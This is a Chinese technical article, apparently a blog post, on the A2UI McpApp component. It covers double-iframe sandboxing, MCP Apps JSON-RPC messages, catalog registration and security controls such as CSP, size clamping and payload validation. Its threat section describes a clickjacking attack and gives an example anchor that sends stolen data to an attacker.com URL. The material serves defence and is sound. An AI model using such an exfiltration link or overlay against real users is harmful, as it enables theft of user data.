A2UI McpApp 组件规范深度解析:基于 MCP Apps 协议的双 iframe 沙箱组件实现指南

发布时间:2026/9/15 5:33:42
A2UI McpApp 组件规范深度解析:基于 MCP Apps 协议的双 iframe 沙箱组件实现指南 A2UI McpApp 组件规范深度解析基于 MCP Apps 协议的双 iframe 沙箱组件实现指南【免费下载链接】a2ui项目地址: https://gitcode.com/GitHub_Trending/a2/a2uiA2UIAgent-to-UI协议以结构化、类型安全的 JSON 组件树驱动客户端渲染器而McpApp组件则是在这一体系内安全承载 Model Context ProtocolMCP应用的官方沙箱方案。本文以仓库内的《A2UI MCP App Component Specification (v0.9)》为骨架结合 Angular MCP Calculator 示例 的实际源码系统讲解McpApp的架构模型、JSON-RPC 通信契约、Catalog 注册方式与完整安全控制体系帮助读者掌握如何在 A2UI v0.9 客户端中实现一个合规、可隔离、可双向绑定数据与本地函数的 MCP 应用容器。1. 背景与动机为什么需要 McpApp 组件A2UI 协议为客户端渲染器流式下发类型安全的 JSON 组件树原生提供了文本、按钮等基础组件。但在复杂应用场景下单纯的基础组件无法满足三类需求自定义布局呈现第三方富可视化、游戏界面或遗留仪表盘交互式工具直接运行由远程 MCP 服务器提供的内嵌应用如计算器、编辑器严格隔离在保护宿主应用 DOM、会话存储与 Storage API 的前提下运行不可信代码。McpApp组件正是为解决这些问题而设计它基于modelcontextprotocol/ext-apps/app-bridge库通过双 iframe 代理结构运行内嵌应用。在 A2UI v0.9 中MCP App Bridge 进一步集成了两项关键能力见 组件规范文档本地客户端函数执行沙箱应用可触发注册在 A2UI Catalog 中的本地宿主函数如系统检查、打开链接双向本地数据绑定在 MCP 应用内部模型与父级 A2UI 本地 Data Model 之间同步状态无需回环到远程 Agent。2. 架构总览双 iframe 隔离结构渲染第三方组件与仪表盘需要严格隔离。A2UI 采用双 iframe 结构运行不可信代码沙箱代理sandbox.html一个同源的中间 frame承载消息桥。它负责协调 A2UI 宿主与最内层沙箱应用之间的通信。物理实现可参考仓库中的 sandbox.html。内嵌应用内层 iframe渲染应用内容的最内层 frame。它使用allow-scripts沙箱但不包含allow-same-origin以隔离其存储与源上下文。规范文档用如下时序图描述三方的启动流程从源码层面看宿主侧的实现位于 mcp-app.ts 的setupSandbox()组件先构造${window.location.origin}/mcp_apps_inner_iframe/sandbox.html作为 iframe 的src并注册window级message监听器当收到来自 iframecontentWindow且method等于SANDBOX_PROXY_READY_METHOD的消息时才调用initializeBridge()正式建立桥接——这一机制保证了代理 frame 完全就绪后才注入资源避免竞态。3. MCP App Bridge 运行时与通信契约宿主、沙箱代理与内嵌应用之间的所有通信都使用modelcontextprotocol/ext-apps/app-bridge规范定义的结构化 JSON-RPC 2.0消息。3.1 协议方法总览下表列出McpApp生命周期中使用的协议方法并标注其属于标准 MCP Apps 协议方法还是为支持 A2UI v0.9 能力引入的 A2UI 扩展方法方向类型来源用途ui/initializeApp → HostRequest标准 MCP握手与能力协商ui/notifications/initializedApp → HostNotification标准 MCP握手完成tools/callApp → HostRequest标准 MCP远程工具执行ui/notifications/size-changedApp → HostNotification标准 MCP动态调整 frame 尺寸notifications/messageApp → HostNotification标准 MCP诊断日志ui/notifications/sandbox-proxy-readyProxy → HostNotification标准 MCP代理 frame 就绪信号ui/notifications/sandbox-resource-readyHost → ProxyNotification标准 MCP向内层 frame 提供 HTMLui/notifications/data-model-changeApp → HostNotificationA2UI 扩展双向本地数据绑定ui/notifications/data-model-updateHost → AppNotificationA2UI 扩展双向本地数据绑定ui/requests/function-callApp → HostRequestA2UI 扩展本地客户端函数执行ui/notifications/host-context-changedHost → AppNotification标准 MCP宿主上下文尺寸、主题更新3.2 两阶段握手生命周期为避免跨沙箱边界建立安全通信时出现竞态握手被分为两个独立阶段Phase A沙箱引导Sandbox Bootstrap参与方为宿主客户端外层McpApp组件与沙箱代理中间sandbox.htmlframe。在源码中宿主侧由 mcp-app.ts 的contentUpdateeffect 负责一旦appBridge就绪且resolvedContent()有值就调用bridge.sendSandboxResourceReady({ html, sandbox: allow-scripts })下发资源代理侧由sandbox.ts监听 resource-ready、设置 iframe 属性与srcdoc并触发加载。该阶段的目标是在任何代码执行之前将原始 HTML 字符串在正确的 CSP 与权限上下文下解码、配置并注入沙箱内层 iframe。具体序列为代理就绪ui/notifications/sandbox-proxy-ready代理 frame 文档完全加载并注册消息处理器后发送给宿主{ jsonrpc: 2.0, method: ui/notifications/sandbox-proxy-ready, params: {} }资源就绪ui/notifications/sandbox-resource-ready宿主响应并携带应用 HTML 与沙箱/权限属性{ jsonrpc: 2.0, method: ui/notifications/sandbox-resource-ready, params: { html: string, sandbox: string, permissions: [string] } }沙箱初始化sandbox-init内层 iframe 完成 HTML 加载后代理通过postMessage(sandbox-init)通知通信桥已打开。Phase B标准 MCP 连接握手参与方为宿主客户端通过modelcontextprotocol/ext-apps/app-bridge与内嵌应用内层 iframe 中运行的 JS 脚本。宿主侧由 mcp-app.ts 的initializeBridge()自动求值应用侧由应用引导脚本发起例如pong_app.html中的sendRequest(ui/initialize)与sendNotification(ui/notifications/initialized)。序列如下初始化请求ui/initialize内嵌应用向宿主宣告能力如支持的显示模式、采样、工具列表通知并请求协议协商初始化响应宿主AppBridge以内嵌应用可解析的 Promise 返回宿主支持的能力与平台元数据初始化完成通知ui/notifications/initialized内嵌应用向宿主发信号表明初始化完成、可以分发外发通知如ui/notifications/size-changed。3.3 出站消息内嵌应用 → 宿主A. 工具调用执行tools/call当内嵌应用请求执行 MCP 工具对应点击操作按钮之类的用户交互时分发。{ jsonrpc: 2.0, method: tools/call, params: { name: string, arguments: { key: value } }, id: string-or-number }宿主动作宿主首先检查工具名是否在组件的allowedTools列表中。已授权则作为 A2UI action 派发给 Agent 后端否则拒绝并返回 JSON-RPC 错误响应。源码实现于 mcp-app.ts 的bridge.oncalltool先做安全校验与白名单检查再构造{ event: { name, context } }并通过surface.dispatchAction(action, this.componentId())上抛给 Agent。B. 响应式状态同步ui/notifications/data-model-change当内嵌应用更新内部状态、想写回父级 A2UI Data Model 时分发。{ jsonrpc: 2.0, method: ui/notifications/data-model-change, params: { key: string, subpath: string, value: any-primitive-or-json-object } }宿主动作宿主把value写回组件data.paths定义中key映射的 Data Model 路径若提供subpath可选JSON Pointer 或基于 key 的路径宿主按paths[key] subpath解析并只更新该子字段若省略subpath宿主整体替换paths[key]处的根值。源码中该逻辑位于 mcp-app.ts 的setNotificationHandler(DataModelChangeNotificationSchema, ...)其中targetPath的拼接逻辑为subpath存在时dataPath (subpath.startsWith(/) ? : /) subpath否则直接用dataPath随后调用surface.dataModel.set(targetPath, params.value)写回。为避免无限更新循环与冗余回显双方都应实现循环预防宿主侧写锁 / 回显抑制宿主处理来自应用的data-model-change时应在写入本地 store 期间临时设置事务标志写锁宿主的 data 订阅监听器应检查该标志在该同步写栈持续期间抑制向应用回发data-model-update。源码中对应 mcp-app.ts 的isProcessingAppWrite标志订阅回调 第 289-297 行 会先检查该标志再决定是否回发。深比较若传入值与目标路径当前状态结构相同宿主丢弃该data-model-change内嵌应用对传入的ui/notifications/data-model-update也做同样处理防止不必要的重绘循环。[!WARNING] 状态传播在异步沙箱边界上是双向的若宿主与内嵌应用并发写入同一路径可能产生竞态或状态相互覆盖state clobbering。 为防止竞态内嵌应用与宿主应优先使用定向 subpath 更新通过subpath参数而非传输完整对象快照。这能隔离并发更新例如应用更新分数/输入字段的同时宿主重置状态或切换游戏模式避免互相覆盖。C. 本地客户端函数执行ui/requests/function-call内嵌应用希望执行已注册的 A2UI v0.9 本地函数时分发。{ jsonrpc: 2.0, method: ui/requests/function-call, params: { call: string, args: { argName: any-value } }, id: string-or-number }宿主动作宿主检查目标函数是否在组件的allowedFunctions列表中验证通过后使用 A2UI 客户端 Catalog 引擎执行该函数并将结果或错误返回应用。源码实现于 mcp-app.ts先对params.args做安全校验再检查allowedFunctions白名单随后以new DataContext(surface, /)构造上下文并调用surface.catalog.invoker(params.call, params.args, dataContext)。D. 动态尺寸请求ui/notifications/size-changed内嵌应用可动态请求宽高变化。{ jsonrpc: 2.0, method: ui/notifications/size-changed, params: { width: number, height: number } }宿主动作宿主将包裹元素尺寸更新为请求值。源码中 mcp-app.ts 的handleSizeChange同时执行钳制clamp、节流throttle与阈值门控threshold gate三重控制详见本文第 5.3 节。E. 日志通知notifications/message内嵌应用发布诊断日志时分发。{ jsonrpc: 2.0, method: notifications/message, params: { level: string, data: any } }宿主动作宿主将诊断消息输出到开发者控制台。源码中 mcp-app.ts 通过bridge.onloggingmessage params { console.log(...) }实现。3.4 入站消息宿主 → 内嵌应用A. 响应式状态更新ui/notifications/data-model-update每当data.paths中任意路径绑定的数据在父级 A2UI Data Model 中更新时发送。{ jsonrpc: 2.0, method: ui/notifications/data-model-update, params: { key: string, subpath: string, value: any-primitive-or-json-object } }内嵌应用动作应用消费该更新更新指定subpath处的内部状态若省略subpath则替换整个本地状态。必须使用深比较防止循环更新。值得注意的是宿主侧 mcp-app.ts 对对象类型状态做了逐 key 差异diff仅对变化的字段发送subpath: /k的定向通知从而避免覆盖无关属性引发并发 clobbering对原始类型则做直接值比较后整体下发。B. 本地函数执行输出作为ui/requests/function-call请求的响应发送。成功响应{ jsonrpc: 2.0, result: { status: success, result: any-value-or-object }, id: string-or-number }错误响应{ jsonrpc: 2.0, error: { code: number, message: string, data: any }, id: string-or-number }内嵌应用动作应用根据自己的逻辑处理结果或错误。这与宿主侧 mcp-app.ts 返回{ status: success, result }的契约一致未授权函数则以throw new Error(...)的形式返回错误。C. 宿主上下文更新ui/notifications/host-context-changed当宿主上下文变化时发送例如容器尺寸变化或主题切换。{ jsonrpc: 2.0, method: ui/notifications/host-context-changed, params: { theme: string, containerDimensions: { width: number, height: number } } }内嵌应用动作应用应把收到的上下文字段合并到当前状态若提供containerDimensions应调整内部布局以适配新指定的固定或弹性边界。宿主侧通过 mcp-app.ts 的ResizeObserver监听 iframe 尺寸变化并调用bridge.setHostContext({ containerDimensions: {...} })下发。D. 资源更新ui/notifications/sandbox-resource-ready当 A2UI Agent 修改或更新应用 HTML 内容时发送。{ jsonrpc: 2.0, method: ui/notifications/sandbox-resource-ready, params: { html: string, sandbox: string, permissions: [string] } }内嵌应用动作代理用更新后的 HTML 字符串重载内层 iframe。4. 组件 Catalog 定义如何注册 McpAppMcpApp组件需注册进 A2UI Component Catalog。规范文档给出的完整 JSON Schema 定义如下{ McpApp: { type: object, description: Renders a sandboxed Model Context Protocol application using double-iframe isolation., properties: { id: { $ref: common_types.json#/$defs/ComponentId }, component: { const: McpApp }, htmlContent: { $ref: common_types.json#/$defs/DynamicString, description: The raw HTML string to render via srcdoc. Can be URL-encoded. }, allowedTools: { type: array, items: { type: string }, description: The list of MCP tools the embedded application is authorized to request. }, allowedFunctions: { type: array, items: { type: string }, description: The list of local client-side functions the embedded application is authorized to call. }, data: { type: object, properties: { paths: { type: object, description: A dictionary mapping custom state keys to distinct JSON Pointer paths in the data model., additionalProperties: { type: string } } }, required: [paths], additionalProperties: false }, title: { $ref: common_types.json#/$defs/DynamicString, description: The title attribute for accessibility. } }, required: [id, component], unevaluatedProperties: false } }仓库中存在与该 Schema 对应且更完整的实际部署版本mcp_app_catalog.jsonCatalog ID 为https://a2ui.org/samples/community/agent/adk/mcp_app_proxy/catalogs/0.9/mcp_app_catalog.json其McpApp定义将htmlContent设为必填项并沿用allowedTools/allowedFunctions/data.paths三个核心属性。客户端侧在 catalog.ts 中通过 Zod 描述了等价的运行时校验 Schemaconst McpAppSchema z.object({ htmlContent: DynamicStringSchema.optional(), allowedTools: z.array(z.string()).optional(), allowedFunctions: z.array(z.string()).optional(), data: DynamicValueSchema.optional(), title: DynamicStringSchema.optional(), });其中DynamicStringSchema/DynamicNumberSchema/DynamicValueSchema等类型来自a2ui/web_core/v0_9用于支持「静态值或数据绑定路径」两种取值方式。需要注意的是data属性在宿主侧可能存在两种形态若 binder 将{paths: {...}}解释为 DataBinding则会自动解析为底层模型值因此 mcp-app.ts 第 281-282 行 采用props()[data]?.raw?.paths ?? props()[data]?.value()?.paths ?? {}的回退策略优先读取未解析的字面量路径元数据。5. 渲染设置与安全控制运行不可信代码需要隔离控制防止数据访问与沙箱逃逸。5.1 内容解码宿主从 Catalog 定义中接收htmlContent属性提取原始 HTML 字符串若字符串以url_encoded:开头则用decodeURIComponent解码源码见 mcp-app.tssubstring(12)恰好跳过url_encoded:这 12 个字符通过sendSandboxResourceReady将解码后的 HTML 交给沙箱代理。5.2 双 iframe 沙箱布局内层 iframe不设置allow-same-origin以隔离其存储外层代理使用document.referrer校验来自父级的消息是否匹配预期的父源expected parent origin外层代理通过检查event.source inner.contentWindow校验来自内层 frame 的消息。这也是 mcp-apps-in-a2ui.md 指南 强调的核心安全理由任何同时带allow-scripts与allow-same-origin的 iframe 都能通过编程方式操作父级 DOM 或移除自身 sandbox 属性来逃逸沙箱因此内层 iframe 严格排除allow-same-origin。5.3 安全控制与运行护栏内容安全策略CSP配置为防止应用对外发送网络请求或提交表单代理向内层 frame 文档头部注入 CSP 标签meta http-equivContent-Security-Policy contentdefault-src self unsafe-inline unsafe-eval data:; connect-src none; form-action none; /这会阻断fetch、XHR、WebSocket、Server-Sent Events 等连接协议以及表单提交与导航form-action none强制所有通信经由AppBridge通道路由到宿主。仓库中更严格的变体见 web-app-frame-srcdoc.tsdefault-src self unsafe-inline unsafe-eval data:; connect-src none; form-action none; base-uri none; object-src none; frame-src none;该实现还会剥除 HTML 中作者自带的 CSP meta 标签再注入受限策略防止作者策略破坏 iframe 渲染并通过base-uri none阻断 base URL 劫持、object-src none/frame-src none阻断插件对象与嵌套子 frame。动态尺寸控制为防止布局不稳定宿主对ui/notifications/size-changed请求强制以下规则钳制Clamping高度钳制在 100px 2000px宽度钳制在 200px 3000px节流Throttling连续尺寸变化最多每 100ms 重绘一次阈值门控Threshold Gate小于 5 像素的尺寸变化被忽略。这三条规则在 mcp-app.ts 的 handleSizeChange 中逐一落地先用setTimeout(..., 100)实现节流再以Math.max(200, Math.min(width, 3000))/Math.max(100, Math.min(height, 2000))完成钳制最后只有当宽高差值 5时才实际写入 iframe 与父容器的样式。桥接 JSON 载荷防护为防止不可信应用通过栈耗尽崩溃宿主解析器、耗尽内存或污染 JS 对象原型宿主桥对所有传入的tools/call、ui/notifications/data-model-change、ui/requests/function-call消息强制以下规则原型污染键拒绝宿主桥递归检查所有传入载荷在任意深度拒绝包含__proto__、constructor、prototype属性键的消息最大嵌套深度JSON 对象与数组嵌套深度限制在可配置阈值内默认 10 层超限载荷立即丢弃最大载荷体积单条消息执行可配置的体积上限默认 64 KB / 65,536 字节缓解 DoS 与内存耗尽攻击。这些规则在仓库中有完整的可测试实现web-frame-messages.ts 定义了MAX_PAYLOAD_NESTING_DEPTH 10、MAX_PAYLOAD_SIZE_BYTES 64 * 1024与FORBIDDEN_PROTOTYPE_KEYS集合validateMessageSecurity()先做原型污染键与嵌套深度扫描validatePayloadSecurity递归实现再通过JSON.stringify检查序列化字节长度。宿主在data-model-change、function-call、tools/call三个入口都会先调用该校验见 mcp-app.ts、L401-L408、L432-L440。Permissions Policy 与能力委托为防止不可信应用在未获显式能力委托的情况下访问硬件传感器或剪贴板数据内层 iframe 默认强制执行「全部拒绝」的 Permissions Policyiframe sandboxallow-scripts allow-forms allow-popups allow-modals allowcamera none; microphone none; geolocation none; clipboard-read none; clipboard-write none; ... /iframe当应用声明所需能力例如permissions: [camera, clipboard-write]时动态策略构造沙箱代理用buildAllowAttribute(permissions)构造allow属性能力激活若获准allow属性把能力访问委托给 iframe例如allowcamera; clipboard-write;启用标准浏览器权限提示与 W3C Web API无需自定义 shim若省略则维持默认的全面拒绝基线。一键式超链接外泄导航与点击劫持防御风险评估可能性 MED | 影响 HIGH | 相关信任层级Tier 3零信任不可信与 Tier 2半可信合作伙伴。安全问题connect-src none阻断了 API 请求fetch、XMLHttpRequest、WebSocketform-action none阻断了 HTML 表单提交但标准 CSP 指令不约束普通超链接导航。恶意内嵌脚本可读取敏感数据模型状态或用户输入动态构造携带被盗数据的锚点如a hrefhttps://attacker.com/leak?data...并用透明 CSS 遮罩诱骗用户点击组件任意位置配合 iframe sandbox 属性中的allow-popups该点击会在新标签页/窗口静默导航到攻击者服务器实现载荷外泄。推荐的架构控制与后续工作默认移除allow-popups对 Tier 3 不可信 iframe 组件从默认 sandbox 属性中移除allow-popups与allow-popups-to-escape-sandbox阻止程序化或用户触发的弹窗捕获阶段点击拦截在内层代理沙箱文档sandbox.html中注册捕获阶段点击监听document.addEventListener(click, ..., true)取消直接锚点导航event.preventDefault()并要求外部链接打开经由宿主验证的 action 事件路由。仓库 web-app-frame-srcdoc.ts 提供了该思路的落地示例注入捕获阶段点击拦截脚本对非#、非javascript:的锚点调用preventDefault()并改为向父级postMessage({ type: a2ui_action, action: open_url, data: { url } })。6. 实现指南对 Web 平台开发人员应复用官方modelcontextprotocol/ext-appsSDK 处理宿主侧桥与沙箱代理宿主桥使用modelcontextprotocol/ext-apps/app-bridge中的AppBridge与PostMessageTransport。仓库示例 mcp-app.ts 中AppBridge以null作为 MCP 客户端与 MCP 服务器的通信由沙箱 iframe 侧处理传入平台信息{ name: MCP Calculator, version: 1.0.0 }、能力配置与初始hostContext沙箱代理客户端应用应复制 MCP Apps SDKexamples/basic-host目录中的参考模板实现外层沙箱代理sandbox.html/sandbox.ts。仓库的对应资源为 sandbox.html宿主侧通过 PostMessageTransport 将 iframe 的contentWindow同时作为发送目标窗口与消息来源校验窗口完成连接。连接完成后宿主还应妥善管理生命周期ngOnDestroy中清理 data 订阅、resizeTimeout、消息监听器、ResizeObserver并调用bridge.close()见 mcp-app.ts重新初始化桥时也会先关闭旧桥防止内存泄漏与僵尸事件监听器。7. 相关资源与运行示例完整的可运行示例位于 Angular MCP Calculator 项目 mcp_calculator其 README 描述了三种加载内嵌游戏界面的方式MCP AppsMcpAppAgent 将 HTML 与 JS 逻辑直接嵌入McpApp组件载荷客户端在沙箱 iframe 中渲染通过 window 消息上的 JSON-RPC 通信URL iframeWebAppFrameUrl返回指向远程 Pong Web 服务器的 URLSrcdoc iframeWebAppFrameSrcdoc后端抓取游戏 HTML 后以srcdoc内联渲染。运行前需先构建共享 workspace 依赖仓库根目录yarn build:all、安装samples/community依赖、启动 Pong Web 服务器与 MCP Apps 代理 Agent再yarn start mcp_calculator启动 Angular 应用。由于localhost开发环境下双 iframe 结构可能无法通过严格源校验测试时使用http://localhost:4200/?disable_security_self_testtrue可跳过安全自检。详细的分步启动说明与排错表格见 MCP Apps Integration in A2UI Surfaces。此外若要了解McpApp姊妹组件WebAppFrame的协议细节a2ui_action、a2ui_data_model_change、a2ui_function_call等消息类型及 Incoming 消息 Zod Schema可参考同目录下的 web-frame-component_spec.md消息安全校验的测试用例见 web-frame-messages.spec.tssrcdoc 安全注入的测试用例见 web-app-frame-srcdoc.spec.ts。8. 小结McpApp组件把「MCP 应用作为一等公民嵌入 A2UI 界面」从概念变成了可落地的工程方案通过双 iframe 结构实现强隔离通过标准 MCP Apps JSON-RPC 方法完成握手、工具调用、动态尺寸与宿主上下文同步再以 A2UI 扩展方法补齐双向本地数据绑定与本地函数执行两项 v0.9 关键能力。无论你是在 Lit、Angular 还是其他原生渲染框架中实现该组件本文梳理的 Catalog Schema、消息契约与安全护栏CSP、尺寸钳制、载荷校验、Permissions Policy、点击劫持防御都是确保实现合规与安全的最小完备集合可直接作为平台侧的实现蓝图。【免费下载链接】a2ui项目地址: https://gitcode.com/GitHub_Trending/a2/a2ui创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考